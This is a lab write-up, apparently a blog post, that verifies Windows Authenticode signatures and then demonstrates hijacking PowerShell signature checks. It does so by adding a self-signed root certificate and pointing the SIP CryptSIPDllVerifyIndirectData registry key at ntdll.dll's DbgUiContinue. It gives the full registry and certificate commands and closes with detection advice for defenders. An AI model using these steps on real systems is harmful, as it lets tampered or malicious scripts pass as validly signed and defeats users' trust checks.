Introduction
Digital signatures are a cornerstone of Windows security, they help verify that files and scripts haven't been tampered with. But what happens when the verification mechanism itself can be manipulated?
In this lab, I explored exactly that: how digital signatures work, how to verify them, and how a threat actor can hijack the signature verification process entirely.
Part 1: Verifying Signatures with Sigcheck64 and PowerShell
Using Sigcheck64 on Sysmon64.exe
The first step was understanding how to verify a legitimate signature. We will use Sigcheck64 from Sysinternals to inspect Sysmon64.exe:
./sigcheck64.exe -v "C:\Users\vboxuser\Downloads\SysinternalsSuite\Sysmon64.exe"
The output confirmed:
- Verified: Signed
- Publisher: Microsoft Windows Publisher
- Signing Date: 8:33 AM 7/12/2024
- VT Detection: 0/77 (clean on VirusTotal)
This is exactly what a trusted, legitimately signed binary looks like.
Using PowerShell to Check Signature Status
I also used PowerShell's built-in Get-AuthenticodeSignature cmdlet:
Get-AuthenticodeSignature -FilePath "C:\Users\vboxuser\Downloads\SysinternalsSuite\Sysmon64.exe"
Result: Status = Valid
Part 2: Verifying a PowerShell Script Signature (SmbShare.psd1)
Next, I repeated the same process on a PowerShell script — SmbShare.psd1 using both tools.
- Sigcheck64 confirmed it was Signed by Microsoft Windows, signing date 5/5/2024
- Get-AuthenticodeSignature returned Status = Valid
This established a baseline: I now knew what valid signatures look like for both executables and scripts.

Part 3: Understanding How Windows Verifies PowerShell Script Signatures
Before attempting the hijack, it was important to understand how Windows actually verifies signatures under the hood. It uses a modular system called Subject Interface Packages (SIP).
How SIP Works
Each file type is mapped to a specific DLL and function via the Windows registry. For PowerShell scripts, the GUID is:
{603BCC1F-4B59-4E08-B724-D2C6297EF351}Two key registry keys are involved:
- Extracting the Signature:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllGetSignedDataMsg\{603BCC1F-4B59-4E08-B724-D2C6297EF351}- DLL =
pwrshp.dll - FuncName =
PsGetSignature
This function finds the # SIG # Begin Signature block in a .ps1 file and extracts the certificate and signature data.

2. Verifying the Signature (Hash Check):
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllVerifyIndirectData\{603BCC1F-4B59-4E08-B724-D2C6297EF351}- DLL =
pwrshp.dll - FuncName =
PsVerifyHash
PsVerifyHash recomputes the hash of the script, compares it against the signed hash, and confirms integrity. This is the function we'll target.

Part 4: Setting Up the Hijack Lab
Step 1 — Create a Self-Signed Certificate
$cert = New-SelfSignedCertificate -Type CodeSigningCert -Subject "CN=itsme-Auth"Step 2 — Install it into Trusted Root
$rootStore = New-Object System.Security.Cryptography.X509Certificates.X509Store -ArgumentList "Root", "LocalMachine"
$rootStore.Open("ReadWrite")
$rootStore.Add($cert)
$rootStore.Close()Step 3 — Create and Sign the Legitimate "itsme" Script
"Write-Host 'This is the original itsme script'" | Out-File "$env:USERPROFILE\Desktop\itsme.ps1"
Set-AuthenticodeSignature -FilePath "$env:USERPROFILE\Desktop\itsme.ps1" -Certificate $certVerification confirmed Status = Valid
Step 4 — Create the "Suspicious" Script
"Write-Host 'Warning: This script is suspicious!'" | Out-File "$env:USERPROFILE\Desktop\suspicious.ps1"Step 5 — Copy the Signature Block
I manually copied the # SIG # Begin Signature block from itsme.ps1 and pasted it into suspicious.ps1, saving the file as ANSI or UTF-8 (not UTF-16/Unicode — important!).

At this point, checking suspicious.ps1 returns Status = NotSigned as expected, because the hash no longer matches the content.

Part 5: The Final Hijack — Swapping the Validator
Here's where things get interesting. Instead of trying to forge a valid signature, we trick Windows into using a dummy validator that always returns success.
The Strategy
We redirect the CryptSIPDllVerifyIndirectData registry key , which normally points to pwrshp.dll / PsVerifyHashto instead point to ntdll.dll / DbgUiContinue.
Why these two?
- ntdll.dll is a core Windows system file that's already trusted, no need to drop new files
- DbgUiContinue is a debugging function with a compatible function signature, but it performs no cryptographic checking and returns a value interpreted as success
Registry Commands
Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllVerifyIndirectData\{603BCC1F-4B59-4E08-B724-D2C6297EF351}" -Name "Dll" -Value "C:\Windows\System32\ntdll.dll"
Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllVerifyIndirectData\{603BCC1F-4B59-4E08-B724-D2C6297EF351}" -Name "FuncName" -Value "DbgUiContinue"
Restart the Crypto Service and Verify
Restart-Service CryptSvc -Force
Get-AuthenticodeSignature "$env:USERPROFILE\Desktop\suspicious.ps1"Result: Status = Valid (Hijacking Successful!)


The Attack Flow
- Discovery — Windows identifies the file type and looks up the SIP handler GUID in the registry
- Redirection — Our modified registry entry points Windows to
ntdll.dll / DbgUiContinueinstead of the real validator - Execution — Windows calls the dummy function, which returns success without doing any cryptographic checking
- Result — PowerShell reports the script as "Valid" even though it's been tampered with
The Real-World Risk
With this technique, an attacker could take a script legitimately signed by Microsoft or Google, append malicious code to the bottom, and the system would still report it as valid because the registry has been hijacked to skip the actual math.
Key Takeaways
- Windows signature verification is only as trustworthy as the registry entries that define how verification happens.
- The SIP system's flexibility, while powerful, creates an attack surface if registry access is obtained.
- Defenders should monitor changes to
HKLM\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDll*keys. - Tools like Sigcheck64 and
Get-AuthenticodeSignaturecan be deceived if the underlying validator has been swapped.
Reference Link
Hijacking Digital Signatures — Penetration Testing Lab
This lab was conducted in a controlled virtual machine environment for educational purposes.